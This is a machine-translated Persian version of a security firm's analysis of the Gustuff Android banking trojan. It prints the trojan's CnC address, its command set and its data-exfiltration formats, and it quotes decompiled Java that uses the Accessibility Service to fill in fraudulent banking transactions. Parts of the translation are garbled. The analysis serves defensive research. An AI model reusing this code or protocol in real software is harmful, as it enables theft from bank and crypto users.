چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند

همین چند روز قبل Group-IB چهره درباره فعالیت موبایل اندروید Trojan Gustuff. این سیستم منحصراً در بازارهای بین‌المللی کار می‌کند و به مشتریان ۱۰۰ بانک بزرگ خارجی، کاربران کیف پول‌های رمزنگاری موبایل ۳۲ و همچنین منابع بزرگ تجارت الکترونیک حمله می‌کند. اما سازنده Gustuff یک مجرم سایبری روسی زبان با نام مستعار Bestoffer است. تا همین اواخر، او تروجان خود را به عنوان "محصولی جدی برای افراد با دانش و تجربه" ستایش می کرد.

متخصص تجزیه و تحلیل کدهای مخرب در Group-IB ایوان پیساروف او در تحقیقات خود به تفصیل درباره نحوه عملکرد گاستوف و خطرات آن صحبت می کند.

گاستوف برای چه کسی شکار می کند؟

Gustuff متعلق به نسل جدیدی از بدافزارها با عملکردهای کاملاً خودکار است. به گفته توسعه دهنده، تروجان به نسخه جدید و بهبود یافته بدافزار AndyBot تبدیل شده است که از نوامبر 2017 به تلفن های اندرویدی حمله کرده و از طریق فرم های وب فیشینگ که به عنوان برنامه های تلفن همراه بانک ها و سیستم های پرداخت معروف بین المللی ظاهر می شوند، پول را سرقت می کند. Bestoffer گزارش داد که قیمت اجاره Gustuff Bot 800 دلار در ماه است.

تجزیه و تحلیل نمونه گاستاف نشان داد که تروجان به طور بالقوه مشتریانی را با استفاده از برنامه های تلفن همراه بزرگترین بانک ها مانند بانک آمریکا، بانک اسکاتلند، جی پی مورگان، ولز فارگو، کپیتال وان، بانک TD، بانک PNC و همچنین کیف پول های رمزنگاری مورد هدف قرار می دهد. کیف پول بیت کوین، بیت پی، کریپتوپی، کوین بیس و غیره.

Gustuff که ابتدا به عنوان یک تروجان بانکی کلاسیک ایجاد شد، در نسخه فعلی Gustuff به طور قابل توجهی لیست اهداف بالقوه برای حمله را گسترش داده است. Gustuff علاوه بر برنامه‌های اندروید برای بانک‌ها، شرکت‌های فین‌تک و خدمات رمزنگاری، کاربران اپلیکیشن‌های بازار، فروشگاه‌های آنلاین، سیستم‌های پرداخت و پیام‌رسان‌های فوری را هدف قرار داده است. به طور خاص، PayPal، Western Union، eBay، Walmart، Skype، WhatsApp، Gett Taxi، Revolut و دیگران.

نقطه ورود: محاسبه برای عفونت توده

Gustuff با بردار "کلاسیک" نفوذ به تلفن های هوشمند اندرویدی از طریق ارسال پیام کوتاه همراه با پیوند به APK مشخص می شود. هنگامی که یک دستگاه Android به دستور سرور به یک تروجان آلوده می شود، Gustuff ممکن است از طریق پایگاه داده تماس تلفن آلوده یا از طریق پایگاه داده سرور گسترش یابد. عملکرد Gustuff برای آلودگی انبوه و حداکثر سرمایه گذاری کسب و کار اپراتورهای آن طراحی شده است - این عملکرد منحصر به فرد "پر کردن خودکار" در برنامه های کاربردی بانکداری تلفن همراه و کیف پول های رمزنگاری قانونی دارد که به شما امکان می دهد سرعت سرقت پول را افزایش داده و مقیاس دهید.

مطالعه تروجان نشان داد که عملکرد تکمیل خودکار با استفاده از سرویس دسترسی، سرویسی برای افراد دارای معلولیت، در آن پیاده سازی شده است. Gustuff اولین تروجانی نیست که با موفقیت از محافظت در برابر تعامل با عناصر پنجره سایر برنامه های کاربردی با استفاده از این سرویس اندروید عبور می کند. با این حال، استفاده از سرویس دسترسی در ترکیب با پرکننده خودرو هنوز بسیار نادر است.

پس از دانلود در تلفن قربانی، گاستاف با استفاده از سرویس دسترسی، قادر است با عناصر پنجره سایر برنامه‌ها (بانکداری، ارز دیجیتال و همچنین برنامه‌های خرید آنلاین، پیام‌رسانی و غیره) تعامل داشته باشد و اقدامات لازم برای مهاجمان را انجام دهد. . به عنوان مثال، به دستور سرور، یک تروجان می تواند دکمه ها را فشار داده و مقادیر فیلدهای متنی را در برنامه های بانکی تغییر دهد. استفاده از مکانیزم Accessibility Service به تروجان این امکان را می دهد که مکانیسم های امنیتی مورد استفاده بانک ها را برای مقابله با تروجان های نسل قبلی موبایل و همچنین تغییرات در خط مشی امنیتی اعمال شده توسط گوگل در نسخه های جدید سیستم عامل اندروید را دور بزند. بنابراین، Gustuff "می داند چگونه" محافظت از Google Protect را غیرفعال کند: به گفته نویسنده، این عملکرد در 70٪ موارد کار می کند.

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند

Gustuff همچنین می‌تواند اعلان‌های PUSH جعلی را با نمادهای برنامه‌های کاربردی تلفن همراه قانونی نمایش دهد. کاربر روی اعلان PUSH کلیک می کند و یک پنجره فیشینگ دانلود شده از سرور را می بیند که در آنجا اطلاعات کارت بانکی یا کیف پول رمزنگاری درخواستی را وارد می کند. در سناریوی Gustuff دیگر، برنامه ای که از طرف آن اعلان PUSH نمایش داده شده است، باز می شود. در این حالت، بدافزار به دستور سرور از طریق سرویس دسترسی، می‌تواند فیلدهای فرم یک برنامه بانکی را برای یک تراکنش متقلبانه پر کند.

عملکرد Gustuff همچنین شامل ارسال اطلاعات در مورد یک دستگاه آلوده به سرور، توانایی خواندن/ارسال پیام‌های SMS، ارسال درخواست‌های USSD، راه‌اندازی SOCKS5 Proxy، دنبال کردن یک پیوند، ارسال فایل‌ها (از جمله اسکن عکس اسناد، اسکرین شات، عکس) به سرور است. سرور، دستگاه را به تنظیمات کارخانه بازنشانی کنید.

تجزیه و تحلیل بدافزار

قبل از نصب یک برنامه مخرب، سیستم عامل اندروید پنجره ای را به کاربر نشان می دهد که حاوی لیستی از حقوق درخواست شده توسط Gustuff است:

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند
برنامه تنها پس از دریافت رضایت کاربر نصب می شود. پس از راه اندازی برنامه، تروجان پنجره ای را به کاربر نشان می دهد:

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند
پس از آن آیکون خود را حذف می کند.

به گفته نویسنده، Gustuff توسط یک بسته بندی از FTT بسته بندی می شود. پس از راه اندازی، برنامه به طور دوره ای با سرور CnC برای دریافت دستورات تماس می گیرد. چندین فایل که ما بررسی کردیم از یک آدرس IP به عنوان سرور کنترل استفاده کردند 88.99.171[.]105 (از این پس به آن اشاره خواهیم کرد <%CnC%>).

پس از راه اندازی، برنامه شروع به ارسال پیام به سرور می کند http://<%CnC%>/api/v1/get.php.

انتظار می رود پاسخ JSON در قالب زیر باشد:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

هر بار که به برنامه دسترسی پیدا می شود، اطلاعات مربوط به دستگاه آلوده را ارسال می کند. قالب پیام در زیر نشان داده شده است. شایان ذکر است که زمینه های کامل, اضافی, برنامه های и اجازه - اختیاری است و فقط در صورت درخواست دستور از CnC ارسال می شود.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

ذخیره سازی داده های پیکربندی

Gustuff اطلاعات عملیاتی مهم را در یک فایل ترجیحی ذخیره می کند. نام فایل و همچنین نام پارامترهای موجود در آن، حاصل محاسبه مجموع MD5 از رشته است. 15413090667214.6.1<%name%>جایی که <%name%> - نام-مقدار اولیه تفسیر تابع تولید نام توسط پایتون:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

در موارد زیر آن را به عنوان نشان خواهیم داد nameGenerator (ورودی).
بنابراین نام فایل اول این است: nameGenerator ("API_SERVER_LIST")، حاوی مقادیری با نام های زیر است:

نام متغیر ارزش
nameGenerator ("API_SERVER_LIST") حاوی لیستی از آدرس های CnC در قالب یک آرایه است.
nameGenerator ("API_SERVER_URL") حاوی آدرس CnC است.
nameGenerator ("SMS_UPLOAD") پرچم به طور پیش فرض تنظیم شده است. اگر پرچم تنظیم شده باشد، پیام های SMS را به CnC ارسال می کند.
nameGenerator ("SMS_ROOT_NUMBER") شماره تلفنی که پیامک های دریافت شده توسط دستگاه آلوده به آن ارسال می شود. پیش فرض صفر است.
nameGenerator ("SMS_ROOT_NUMBER_RESEND") پرچم به طور پیش فرض پاک می شود. در صورت نصب، هنگامی که یک دستگاه آلوده پیامکی دریافت می کند، به شماره ریشه ارسال می شود.
nameGenerator ("DEFAULT_APP_SMS") پرچم به طور پیش فرض پاک می شود. اگر این پرچم تنظیم شود، برنامه پیامک های دریافتی را پردازش می کند.
nameGenerator ("DEFAULT_ADMIN") پرچم به طور پیش فرض پاک می شود. اگر پرچم تنظیم شده باشد، برنامه دارای حقوق سرپرست است.
nameGenerator ("DEFAULT_ACCESSIBILITY") پرچم به طور پیش فرض پاک می شود. اگر پرچم تنظیم شده باشد، سرویسی با استفاده از سرویس دسترس‌پذیری در حال اجرا است.
nameGenerator ("APPS_CONFIG") یک شی JSON که حاوی لیستی از اقداماتی است که باید هنگام فعال شدن یک رویداد Accessibility مرتبط با یک برنامه خاص انجام شود.
nameGenerator ("APPS_INSTALLED") لیستی از برنامه های نصب شده روی دستگاه را ذخیره می کند.
nameGenerator ("IS_FIST_RUN") پرچم در اولین شروع بازنشانی می شود.
nameGenerator ("UNIQUE_ID") حاوی یک شناسه منحصر به فرد هنگامی که ربات برای اولین بار راه اندازی می شود ایجاد می شود.

ماژول برای پردازش دستورات از سرور

این برنامه آدرس های سرورهای CnC را در قالب یک آرایه کدگذاری شده توسط ذخیره می کند پایه 85 خطوط لیست سرورهای CnC با دریافت دستور مناسب قابل تغییر است، در این صورت آدرس ها در یک فایل ترجیحی ذخیره می شوند.

در پاسخ به درخواست، سرور دستوری را به برنامه ارسال می کند. شایان ذکر است که دستورات و پارامترها با فرمت JSON ارائه می شوند. برنامه می تواند دستورات زیر را پردازش کند:

تیم شرح
جلو شروع شروع به ارسال پیامک های دریافتی توسط دستگاه آلوده به سرور CnC کنید.
جلو توقف ارسال پیامک های دریافتی توسط دستگاه آلوده به سرور CnC را متوقف کنید.
ussdRun درخواست USSD را اجرا کنید. شماره ای که باید به آن درخواست USSD بدهید در قسمت JSON "شماره" قرار دارد.
ارسال پیامک یک پیام کوتاه ارسال کنید (در صورت لزوم، پیام به قطعات تقسیم می شود). به عنوان یک پارامتر، دستور یک شی JSON حاوی فیلدهای "to" - شماره مقصد و "body" - بدنه پیام را می گیرد.
sendSmsAb پیام‌های SMS (در صورت لزوم، پیام به قسمت‌هایی تقسیم می‌شود) برای همه افراد موجود در لیست تماس دستگاه آلوده ارسال کنید. فاصله بین ارسال پیام ها 10 ثانیه است. متن پیام در قسمت JSON "body" است.
sendSmsMass پیام های اس ام اس (در صورت لزوم، پیام به قطعات تقسیم می شود) به مخاطبین مشخص شده در پارامترهای فرمان ارسال کنید. فاصله بین ارسال پیام ها 10 ثانیه است. به عنوان یک پارامتر، دستور یک آرایه JSON (فیلد "sms") را می گیرد که عناصر آن شامل فیلدهای "to" - شماره مقصد و "body" - بدنه پیام است.
تغییر سرور این دستور می تواند مقداری را با کلید "url" به عنوان پارامتر بگیرد - سپس ربات مقدار nameGenerator ("SERVER_URL") یا "array" را تغییر می دهد - سپس ربات آرایه را در nameGenerator می نویسد ("API_SERVER_LIST") بنابراین، برنامه آدرس سرورهای CnC را تغییر می دهد.
شماره مدیر این دستور برای کار با شماره ریشه طراحی شده است. دستور یک شی JSON با پارامترهای زیر را می پذیرد: "number" — تغییر nameGenerator("ROOT_NUMBER") به مقدار دریافتی، "reend" — تغییر nameGenerator("SMS_ROOT_NUMBER_RESEND")، "sendId" — ارسال به nameGenerator("ROOT_NUMBER" ) شناسه منحصر به فرد.
updateInfo اطلاعات مربوط به دستگاه آلوده را به سرور ارسال کنید.
پاک کردن داده ها این دستور برای حذف اطلاعات کاربر در نظر گرفته شده است. بسته به نامی که برنامه راه اندازی شده است، یا داده ها با راه اندازی مجدد دستگاه (کاربر اصلی) به طور کامل پاک می شوند یا فقط داده های کاربر حذف می شوند (کاربر ثانویه).
socksStart ماژول Proxy را اجرا کنید. عملکرد ماژول در یک بخش جداگانه توضیح داده شده است.
جوراب توقف ماژول Proxy را متوقف کنید.
لینک باز لینک را دنبال کنید. پیوند در پارامتر JSON در زیر کلید "url" قرار دارد. "android.intent.action.VIEW" برای باز کردن پیوند استفاده می شود.
uploadAllSms تمام پیامک های دریافتی دستگاه را به سرور ارسال کنید.
آپلود همه عکس ها ارسال تصاویر از دستگاه آلوده به URL. URL به عنوان یک پارامتر می آید.
آپلود فایل یک فایل را از دستگاه آلوده به URL بفرستید. URL به عنوان یک پارامتر می آید.
آپلود شماره تلفن شماره تلفن را از لیست مخاطبین خود به سرور ارسال کنید. اگر مقدار شی JSON با کلید "ab" به عنوان پارامتر دریافت شود، برنامه لیستی از مخاطبین را از دفترچه تلفن دریافت می کند. اگر یک شی JSON با کلید "sms" به عنوان پارامتر دریافت شود، برنامه لیست مخاطبین را از فرستندگان پیام های SMS می خواند.
تغییر آرشیو برنامه با استفاده از کلید "url" فایل را از آدرسی که به عنوان پارامتر می آید دانلود می کند. فایل دانلود شده با نام "archive.zip" ذخیره می شود. سپس برنامه با استفاده از رمز عبور آرشیو "b5jXh37gxgHBrZhQ4j3D" فایل را از حالت فشرده خارج می کند. فایل های زیپ نشده در فهرست [فضای ذخیره خارجی]/hgps ذخیره می شوند. در این دایرکتوری، برنامه جعلی وب را ذخیره می کند (در زیر توضیح داده شده است).
اقدامات این دستور برای کار با Action Service طراحی شده است که در یک بخش جداگانه توضیح داده شده است.
آزمون هیچ کاری نکردن
دانلود این دستور برای دانلود یک فایل از یک سرور راه دور و ذخیره آن در فهرست "Downloads" در نظر گرفته شده است. URL و نام فایل به ترتیب به عنوان یک پارامتر، فیلدهای موجود در شی پارامتر JSON هستند: "url" و "fileName".
برداشتن یک فایل را از فهرست "دانلودها" حذف می کند. نام فایل در یک پارامتر JSON با کلید "fileName" آمده است. نام استاندارد فایل "tmp.apk" است.
اخطار نمایش یک اعلان با توضیحات و متون عنوان تعریف شده توسط سرور مدیریت.

فرمت فرمان اخطار:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

اعلان ایجاد شده توسط فایل تحت بررسی با اعلان های تولید شده توسط برنامه مشخص شده در فیلد یکسان به نظر می رسد. نرم افزار. اگر مقدار فیلد اپلیکیشن را باز کن — درست است، هنگامی که یک اعلان باز می شود، برنامه مشخص شده در فیلد راه اندازی می شود نرم افزار. اگر مقدار فیلد اپلیکیشن را باز کن - پس غلط:

  • یک پنجره فیشینگ باز می شود که محتویات آن از دایرکتوری دانلود می شود <%حافظه خارجی%>/hgps/<%filename%>
  • یک پنجره فیشینگ باز می شود که محتویات آن از سرور دانلود می شود <%url%>?id=<%Bot id%>&app=<%Application name%>
  • یک پنجره فیشینگ باز می شود که به عنوان یک کارت Google Play مبدل شده و امکان وارد کردن جزئیات کارت وجود دارد.

برنامه نتیجه هر دستوری را به <%CnC%>set_state.php به عنوان یک شی JSON در قالب زیر:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

Actions Service
لیستی از دستوراتی که برنامه کاربردی شامل آن می شود اقدام. هنگامی که یک فرمان دریافت می شود، ماژول پردازش فرمان برای اجرای دستور توسعه یافته به این سرویس دسترسی پیدا می کند. این سرویس یک شی JSON را به عنوان پارامتر می پذیرد. این سرویس می تواند دستورات زیر را اجرا کند:

1. PARAMS_ACTION — هنگام دریافت چنین دستوری، سرویس ابتدا مقدار کلید Type را از پارامتر JSON دریافت می کند که می تواند به صورت زیر باشد:

  • serviceInfo – دستور فرعی مقدار به کلید را از پارامتر JSON دریافت می کند شامل نه مهم. اگر پرچم True باشد، برنامه پرچم را تنظیم می کند FLAG_ISOLATED_PROCESS به سرویسی که از سرویس دسترس‌پذیری استفاده می‌کند. به این ترتیب سرویس در یک فرآیند جداگانه راه اندازی می شود.
  • ریشه — دریافت و ارسال اطلاعات به سرور در مورد پنجره ای که در حال حاضر در فوکوس است. برنامه با استفاده از کلاس AccessibilityNodeInfo اطلاعات را به دست می آورد.
  • مدیر سایت - درخواست حقوق مدیر
  • تاخیر - ActionService را به تعداد میلی ثانیه مشخص شده در پارامتر کلید "داده" معلق کنید.
  • پنجره - ارسال لیستی از پنجره های قابل مشاهده برای کاربر.
  • نصب - برنامه را روی دستگاه آلوده نصب کنید. نام بسته بایگانی در کلید "fileName" است. آرشیو خود در دایرکتوری Downloads قرار دارد.
  • جهانی - دستور فرعی برای حرکت از پنجره فعلی در نظر گرفته شده است:
    • در منوی تنظیمات سریع
    • عقب مانده
    • خانه
    • به اطلاعیه ها
    • به پنجره برنامه هایی که اخیراً باز شده است

  • راه اندازی - برنامه را راه اندازی کنید نام برنامه به عنوان پارامتر به کلید آمده است داده ها.
  • برای تلفن های موبایل - حالت صدا را به سکوت تغییر دهید.
  • باز - نور پس زمینه صفحه و صفحه کلید را به روشنایی کامل روشن می کند. برنامه این عمل را با استفاده از WakeLock انجام می دهد و رشته [Application lable]:INFO را به عنوان یک برچسب مشخص می کند.
  • permissionOverlay - تابع پیاده سازی نشده است (پاسخ به اجرای دستور {"پیام":"پشتیبانی نمی شود"} یا {"پیام":"sdk پایین"} است)
  • ژست - تابع اجرا نشده است (پاسخ به اجرای دستور {"پیام":"پشتیبانی نمی شود"}یا {"پیام":"API کم"} است)
  • مجوز - این دستور برای درخواست مجوز برای برنامه ضروری است. با این حال، تابع query پیاده سازی نشده است، بنابراین دستور بی معنی است. لیست حقوق درخواستی به صورت یک آرایه JSON با کلید "مجوزها" ارائه می شود. لیست استاندارد:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • باز کن - نمایش یک پنجره فیشینگ بسته به پارامتری که از سرور می آید، برنامه ممکن است پنجره های فیشینگ زیر را نمایش دهد:
    • نمایش یک پنجره فیشینگ که محتویات آن در یک فایل در دایرکتوری نوشته شده است <%دایرکتوری خارجی%>/hgps/<%param_filename%>. نتیجه تعامل کاربر با پنجره به ارسال خواهد شد <%CnC%>/records.php
    • یک پنجره فیشینگ نشان دهید که محتوای آن از قبل از آدرس بارگیری شده است <%url_param%>?id=<%bot_id%>&app=<%packagename%>. نتیجه تعامل کاربر با پنجره به ارسال خواهد شد <%CnC%>/records.php
    • یک پنجره فیشینگ را که به صورت کارت Google Play پنهان شده است نشان دهید.

  • تعاملی - این فرمان برای تعامل با عناصر پنجره سایر برنامه ها با استفاده از AcessibilityService طراحی شده است. سرویس ویژه ای برای تعامل در برنامه اجرا شده است. برنامه تحت بررسی می تواند با ویندوز تعامل داشته باشد:
    • در حال حاضر فعال است. در این مورد، پارامتر حاوی شناسه یا متن (نام) شیئی است که باید با آن تعامل داشته باشید.
    • در زمان اجرای دستور برای کاربر قابل مشاهده است. برنامه ویندوز را با شناسه انتخاب می کند.

    دریافت اشیاء AccessibilityNodeInfo برای عناصر پنجره مورد علاقه، برنامه، بسته به پارامترها، می تواند اقدامات زیر را انجام دهد:

    • فوکوس - تنظیم فوکوس روی شی.
    • کلیک - روی یک شی کلیک کنید.
    • actionId - انجام یک عمل توسط ID.
    • setText - تغییر متن یک شی. تغییر متن به دو صورت امکان پذیر است: انجام یک عمل ACTION_SET_TEXT (اگر نسخه Android دستگاه آلوده کوچکتر یا مساوی باشد LOLLIPOP، یا با قرار دادن یک رشته در کلیپ بورد و چسباندن آن در یک شی (برای نسخه های قدیمی تر). از این دستور می توان برای تغییر داده ها در یک برنامه بانکی استفاده کرد.

2. PARAMS_ACTIONS - مثل PARAMS_ACTION، فقط یک آرایه JSON از دستورات وارد می شود.

به نظر می رسد که بسیاری از مردم علاقه مند خواهند بود که عملکرد تعامل با عناصر پنجره یک برنامه دیگر چگونه است. نحوه اجرای این قابلیت در Gustuff به این صورت است:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

عملکرد جایگزینی متن:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

بنابراین، گاستوف با پیکربندی صحیح سرور کنترل، می‌تواند فیلدهای متنی را در برنامه بانکی پر کرده و بر روی دکمه‌های لازم برای تکمیل تراکنش کلیک کند. تروجان حتی نیازی به ورود به برنامه ندارد - کافی است دستوری برای نمایش اعلان PUSH ارسال کنید و سپس برنامه بانکی نصب شده قبلی را باز کنید. کاربر خود را احراز هویت می کند و پس از آن گاستاف می تواند ماشین را پر کند.

ماژول پردازش پیامک

این برنامه یک کنترل کننده رویداد را برای دستگاه آلوده نصب می کند تا پیام های SMS را بپذیرد. برنامه مورد مطالعه می تواند دستوراتی را از اپراتور دریافت کند که در متن پیامک آمده است. دستورات به شکل زیر می آیند:

7!5=<فرمان رمزگذاری شده %Base64%>

برنامه در تمام پیامک های دریافتی رشته را جستجو می کند 7!5=، هنگامی که یک رشته شناسایی می شود، رشته را از Base64 در افست 4 رمزگشایی می کند و دستور را اجرا می کند. دستورات مشابه دستورات با CnC هستند. نتیجه اجرا به همان شماره ای که دستور از آن آمده ارسال می شود. فرمت پاسخ:

7*5=<%Base64 کد "result_code command"%>

به صورت اختیاری، برنامه می تواند تمام پیام های دریافتی را به شماره ریشه ارسال کند. برای این کار باید شماره Root در فایل ترجیحی مشخص شود و پرچم تغییر مسیر پیام تنظیم شود. یک پیام کوتاه به شماره مهاجم در قالب زیر ارسال می شود:

<%از شماره%> - <%زمان، قالب: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

همچنین، به صورت اختیاری، برنامه می تواند پیام هایی را به CnC ارسال کند. پیام SMS با فرمت JSON به سرور ارسال می شود:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

اگر پرچم تنظیم شده باشد nameGenerator ("DEFAULT_APP_SMS") – برنامه پردازش پیام اس ام اس را متوقف می کند و لیست پیام های دریافتی را پاک می کند.

ماژول پروکسی

برنامه مورد مطالعه شامل یک ماژول Backconnect Proxy (از این پس ماژول Proxy نامیده می شود)، که دارای یک کلاس جداگانه است که شامل فیلدهای ثابت با پیکربندی است. داده های پیکربندی در نمونه به شکل واضح ذخیره می شود:

چگونه تروجان گاستاف اندروید، کرم (فیات و کریپتو) را از حساب های شما حذف می کند

تمام اقدامات انجام شده توسط ماژول Proxy در فایل ها وارد می شوند. برای انجام این کار، برنامه در External Storage یک دایرکتوری به نام "logs" (فیلد ProxyConfigClass.logsDir در کلاس پیکربندی) ایجاد می کند که در آن فایل های گزارش ذخیره می شوند. ورود به سیستم در فایل هایی با نام انجام می شود:

  1. main.txt – کار کلاسی به نام CommandServer در این فایل وارد شده است. در ادامه، ثبت رشته str در این فایل به عنوان mainLog(str) نشان داده می شود.
  2. session-<%id%>.txt — این فایل داده های گزارش مربوط به یک جلسه پروکسی خاص را ذخیره می کند. در ادامه، ورود رشته str به این فایل به عنوان sessionLog (str) نشان داده می شود.
  3. server.txt – این فایل برای ثبت تمامی داده های نوشته شده در فایل های فوق الذکر استفاده می شود.

فرمت داده های گزارش:

<%Date%> [رشته[<%thread id%>]، id[]]: log-string

استثناهایی که در طول عملیات ماژول Proxy رخ می دهد نیز در یک فایل ثبت می شود. برای انجام این کار، برنامه یک شی JSON در قالب زیر تولید می کند:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

سپس آن را به یک نمایش رشته تبدیل می کند و آن را ثبت می کند.

ماژول Proxy پس از دریافت دستور مربوطه راه اندازی می شود. هنگامی که فرمان راه اندازی ماژول Proxy دریافت می شود، برنامه سرویسی را راه اندازی می کند که نامیده می شود MainService، که وظیفه مدیریت عملکرد ماژول Proxy - راه اندازی و توقف آن را بر عهده دارد.

مراحل شروع سرویس:

1. یک تایمر را شروع می کند که یک بار در دقیقه اجرا می شود و فعالیت ماژول Proxy را بررسی می کند. اگر ماژول فعال نباشد، آن را راه اندازی می کند.
همچنین زمانی که رویداد راه اندازی می شود android.net.conn.CONNECTIVITY_CHANGE ماژول Proxy راه اندازی شد.

2. برنامه یک wake-lock با پارامتر ایجاد می کند PARTIAL_WAKE_LOCK و او را اسیر می کند. این کار از رفتن CPU دستگاه به حالت خواب جلوگیری می کند.

3. کلاس پردازش فرمان ماژول Proxy را راه اندازی می کند و ابتدا خط را ثبت می کند mainLog ("شروع سرور") и

سرور::start() میزبان[<%proxy_cnc%>]، commandPort[<%command_port%>]، proxyPort[<%proxy_port%>]

جایی که proxy_cnc، command_port و proxy_port - پارامترهای به دست آمده از پیکربندی سرور پروکسی.

کلاس پردازش فرمان فراخوانی می شود CommandConnection. بلافاصله پس از راه اندازی، اقدامات زیر را انجام می دهد:

4. متصل می شود ProxyConfigClass.host: ProxyConfigClass.commandPort و داده های مربوط به دستگاه آلوده را با فرمت JSON به آنجا ارسال می کند:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

که در آن:

  • id – شناسه، سعی می کند مقداری را با فیلد «id» از فایل ترجیحی مشترک به نام «x» دریافت کند. اگر این مقدار بدست نیامد، مقدار جدیدی ایجاد می کند. بنابراین، ماژول Proxy شناسه مخصوص به خود را دارد که مشابه Bot ID تولید می شود.
